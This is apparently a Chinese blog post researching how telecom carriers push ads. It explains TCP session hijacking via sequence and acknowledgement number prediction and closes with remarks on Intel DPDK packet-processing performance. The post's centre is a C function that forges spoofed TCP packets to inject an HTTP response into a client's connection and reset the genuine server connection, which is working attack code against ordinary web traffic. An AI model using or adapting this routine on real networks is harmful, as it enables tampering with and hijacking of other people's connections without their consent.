运营商广告推送系统研究
-----------------------------------------------------------------
Email: 2782847808@qq.com 欢迎交流学习
-----------------------------------------------------------------
目前常见的运营商广告形式使用的是会话劫持技术,这种方式大多数使用的是旁路的方式。其次相对运营商而言处理的流量较大,可能每秒都在1G以上的流量,包数在百万以上,使用系统的协议栈软中断就会消耗大量CPU,产生大量丢包,intel dpdk技术可以完美解决此问题,下面对这两个技术做进一步介绍。
会话劫持
会话劫持利用了TCP/IP工作原理来设计攻击。TCP使用端到端的连接,即TCP用(源IP,源TCP端口号,目的IP,目的TCP端号)来唯一标识每一条已经建立连接的TCP链路。另外,TCP在进行数据传输时,TCP报文首部的两个字段序号(seq)和确认序号(ackseq)非常重要。序号(seq)和确认序号(ackseq)是与所携带TCP数据净荷(payload)的多少有数值上的关系:序号字段(seq)指出了本报文中传送的数据在发送主机所要传送的整个数据流中的顺序号,而确认序号字段(ackseq)指出了发送本报文的主机希望接收的对方主机中下一个八位组的顺序号。因此,对于一台主机来说,其收发的两个相临TCP报文之间的序号和确认序号的关系为:它所要发出的报文中的seq值应等于它所刚收到的报文中的ackseq的值,而它所要发送报文中ackseq的值应为它所收到报文中seq的值加上该报文中所发送的TCP净荷的长度。 TCP会话劫持的攻击方式可以对基于TCP的任何应用发起攻击,如HTTP、FTP、Telnet等。对于攻击者来说,所必须要做的就是窥探到正在进行TCP通信的两台主机之间传送的报文,这样攻击者就可以得知该报文的源IP、源TCP端口号、目的IP、目的TCP端号,从而可以得知其中一台主机对将要收到的下一个TCP报文段中seq和ackseq值的要求。这样,在该合法主机收到另一台合法主机发送的TCP报文前,攻击者根据所截获的信息向该主机发出一个带有净荷的TCP报文,如果该主机先收到攻击报文,就可以把合法的TCP会话建立在攻击主机与被攻击主机之间。带有净荷的攻击报文能够使被攻击主机对下一个要收到的TCP报文中的确认序号(ackseq)的值的要求发生变化,从而使另一台合法的主机向被攻击主机发出的报文被被攻击主机拒绝。TCP会话劫持攻击方式的好处在于使攻击者避开了被攻击主机对访问者的身份验证和安全认证,从而使攻击者直接进入对被攻击主机的的访问状态,因此对系统安全构成的威胁比较严重。 下面是一段会话劫持伪造发包的代码。
static void intercept(const struct request *request, const char *response, int len) {
struct iphdr *iph;
struct tcphdr *tcph;
char *option, *payload, buf[PACKET_MAX], str[32];
int head_len, payload_len, payload_max, n, last;
struct timestamp {
char nop[2];
char kind;
char length;
int TSval;
int TSecr;
} *ts1, *ts2;
iph = (struct iphdr *)buf;
tcph = (struct tcphdr *)((char *)iph + sizeof(struct iphdr));
option = (request->option != NULL ? ((char *)tcph + sizeof(struct tcphdr)) : NULL);
payload = (char *)tcph + (request->tcph->doff << 2);
payload_max = PACKET_MAX - (payload - (char *)iph);
head_len = sizeof(struct iphdr) + (request->tcph->doff << 2);
/* 初始化IP包头部 */
iph->id = htons((unsigned short)((timeptr->time >> 16) + (timeptr->time & 0xffff)));
iph->ihl = sizeof(struct iphdr) >> 2;
iph->version = 4;
iph->tos = 0;
//iph->tot_len = htons(sizeof(struct iphdr) + (request->tcph->doff << 2));
iph->frag_off = htons(IP_DF);;
iph->ttl = 64;
iph->protocol = IPPROTO_TCP;
//iph->check = 0;
iph->saddr = request->iph->daddr;
iph->daddr = request->iph->saddr;
/* 初始化TCP包头部 */
//tcph->source = 0;
//tcph->dest = 0;
//tcph->seq = 0;
//tcph->ack_seq = 0;
tcph->doff = (payload - (char *)tcph) >> 2;
tcph->fin = 0;
tcph->syn = 0;
tcph->rst = 0;
tcph->psh = 0;
tcph->ack = 0;
tcph->urg = 0;
tcph->res1 = 0;
tcph->res2 = 0;
tcph->window = htons(5840);
//tcph->check = 0;
tcph->urg_ptr = 0;
/* 设置TCP OPTION */
if (option != NULL && request->option != NULL) {
ts1 = (struct timestamp *)option;
ts2 = (struct timestamp *)request->option;
if (ts2->nop[0] == 1 && ts2->nop[1] == 1 && ts2->kind == 8 && ts2->length == 10) {
ts1->nop[0] = 1;
ts1->nop[1] = 1;
ts1->kind = 8;
ts1->length = 10;
ts1->TSval = ts2->TSecr + 100;
ts1->TSecr = ts2->TSval;
} else {
option = NULL;
}
}
/* 发送请求的确认包客户端(是否可以取消?) */
iph->id = htons(ntohs(iph->id) + 1);
iph->tot_len = htons(head_len);
iph->protocol = IPPROTO_TCP;
iph->saddr = request->iph->daddr;
iph->daddr = request->iph->saddr;
tcph->source = request->tcph->dest;
tcph->dest = request->tcph->source;
tcph->ack = 1;
tcph->seq = request->tcph->ack_seq;
tcph->ack_seq = htonl(ntohl(request->tcph->seq) + ntohs(request->iph->tot_len) - (request->payload - (char *)request->iph));
checksum(iph, tcph);
send_pkt(sockfd, iph->daddr, tcph->dest, iph, head_len);
/* 发送HTTP应答给客户端, 每个IP包不能大于1500*/
for (n = 0, last = 0; n < len; n += payload_max) {
payload_len = len - n > payload_max ? payload_max : len - n;
iph->id = htons(ntohs(iph->id) + 1);
iph->tot_len = htons(head_len + payload_len);
tcph->psh = 1;
tcph->seq = htonl(ntohl(tcph->seq) + last);
last = payload_len;
memcpy(payload, &response[n], payload_len);
checksum(iph, tcph);
send_pkt(sockfd, iph->daddr, tcph->dest, iph, head_len + payload_len);
}
/* 关闭客户端TCP连接 */
iph->id = htons(ntohs(iph->id) + 1);
iph->tot_len = htons(head_len);
tcph->psh = 0;
tcph->fin = 1;
//pkt.tcp.rst = 1;
tcph->seq = htonl(ntohl(tcph->seq) + (len % payload_max));
checksum(iph, tcph);
send_pkt(sockfd, iph->daddr, tcph->dest, iph, head_len);
/* 关闭服务端TCP连接 */
iph->id = htons(ntohs(request->iph->id) + 1);
iph->saddr = request->iph->saddr;
iph->daddr = request->iph->daddr;
/* 设置TCP OPTION */
if (option != NULL && request->option != NULL) {
ts1 = (struct timestamp *)option;
ts2 = (struct timestamp *)request->option;
if (ts2->nop[0] == 1 && ts2->nop[1] == 1 && ts2->kind == 8 && ts2->length == 10) {
ts1->nop[0] = 1;
ts1->nop[1] = 1;
ts1->kind = 8;
ts1->length = 10;
ts1->TSval = ts2->TSval;
ts1->TSecr = ts2->TSecr;
} else {
option = NULL;
}
}
tcph->source = request->tcph->source;
tcph->dest = request->tcph->dest;
tcph->fin = 0;
tcph->rst = 1;
tcph->seq = htonl(ntohl(request->tcph->seq) + head_len);
tcph->ack_seq = request->tcph->ack_seq;
checksum(iph, tcph);
send_pkt(sockfd, iph->daddr, tcph->dest, iph, head_len);
inet_ntop(AF_INET, &request->iph->saddr, str, sizeof(str));
log_info("intercept http request [%s] from %s", request->url, str);
return;
}
intel dpdk
首先dpdk总的来说是一个2层的东西,也就是说本来驱动做的事情放到用户层来做了,并且根据体系结构提供了各种各样的优化,一般只用来做IO,当然也提供了很多3层的库,转发的库,lpm的库等,dpdk并没有提供开源的高性能tcp/ip协议栈。 linux内核本身的协议栈的话,其实主要还是兼容性和通用性。当然也有一些硬件实现的Tcp offline engine,但是受限于硬件网卡内存的限制,在tcp的并发量和性能上并不会比基于dpdk的高。 至于具体性能,其实是可以量化的,10Gbps,64bytes包长,如果一个包的处理时间大于67ns,那么肯定会丢包,也就是说所有处理基本只能全部在cache里,长时间稳定的不丢包还是很难做到的。 至于dpdk的轮询机制,不管有没有包,cpu都是100%,一旦收包的这个线程绑定的cpu被别的线程抢占,那么性能会大幅度下降。 dpdk高性能限制非常非常多,配置也基本无法通用,要充分考虑numa+nuio等各种体系结构,一旦cpu配置错了,性能渣得要死。 dpdk出来之前,也有很多类似的解决方案,基本原理都是大同小异,ioengine,netmap,ntop 10g系列。 不过dpdk和他们相比性能上没有多大优势,但是dpdk有一个他们没法比的巨大优势,就是dpdk支持几乎所有intel网卡,包括最新出的网卡。如果过几年不想在你的驱动程序里手动添加新的intel网卡支持,那么选择dpdk没错的。
浙公网安备 33010602011771号